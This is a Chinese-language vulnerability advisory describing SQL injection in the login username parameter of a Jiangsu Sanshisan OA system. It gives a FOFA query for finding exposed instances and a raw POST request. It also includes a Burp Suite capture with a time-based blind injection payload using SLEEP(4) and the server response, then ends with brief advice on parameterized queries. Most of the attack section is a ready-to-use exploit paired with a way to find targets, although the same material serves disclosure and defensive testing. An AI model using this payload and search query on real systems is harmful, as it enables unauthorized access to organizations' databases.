

# J6-1江苏叁拾叁-OA-SQL

## 漏洞描述：

江苏叁拾叁信息技术有限公司 OA 存在 sql 注入。

## 影响版本：

- 江苏叁拾叁-OA

网站图片：



## 网络测绘：

### fofa语法：

app="江苏叁拾叁-OA"

## 漏洞复现：

登录处username参数存在漏洞

payload:

```
POST /login HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.131 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=AD52C9F9D7D46303431351876BBA1536
Connection: close
```

username=1&password=1

效果图:

1 Burp Project Intruder Repeater Window Help

Burp Suite Professional v2023.5.1 - Temporary Project - aaaa

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn FastJsonScan ShiroScan xia SQL HaE

1 x 2 x 3 x +

Send Cancel Follow redirection

HTT

Request

Pretty Raw Hex

```
1 POST /login HTTP/1.1
2 Host: 192.168.1.100:8080
3 Content-Length: 93
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
9 Accept-Encoding: gzip, deflate
10 Accept-Language: zh-CN,zh;q=0.9
11 Connection: close
12
13
14
15
16 username=admin' AND (SELECT 9415 FROM (SELECT(SLEEP(4)))QBMI) AND
17 'AUx0'='AUx0&password=admin
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 302 Found
2 Server: Apache-Coyote/1.1
3 Access-Control-Allow-Origin: *
4 Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
5 Access-Control-Max-Age: 3600
6 Access-Control-Allow-Headers: Authorization, Origin, X-Requested-With, Content-Type, Accept, token
7 Access-Control-Allow-Credentials: true
8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
9 Pragma: no-cache
10 Expires: 0
11 X-XSS-Protection: 1; mode=block
12 X-Frame-Options: SAMEORIGIN
13 X-Content-Type-Options: nosniff
14 Location: /login.jsp?error=true
15 Content-Length: 0
16 Date: Tue, 17 Oct 2023 14:45:57 GMT
17 Connection: close
18
19
```

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 2

Request cookies 1

Request headers 13

Response headers 16

## 修复建议:

立即对江苏叁拾叁信息技术有限公司的OA系统进行安全审查，修复所有已知的SQL注入漏洞，通过实施参数化查询和严格的输入验证来加固数据库安全。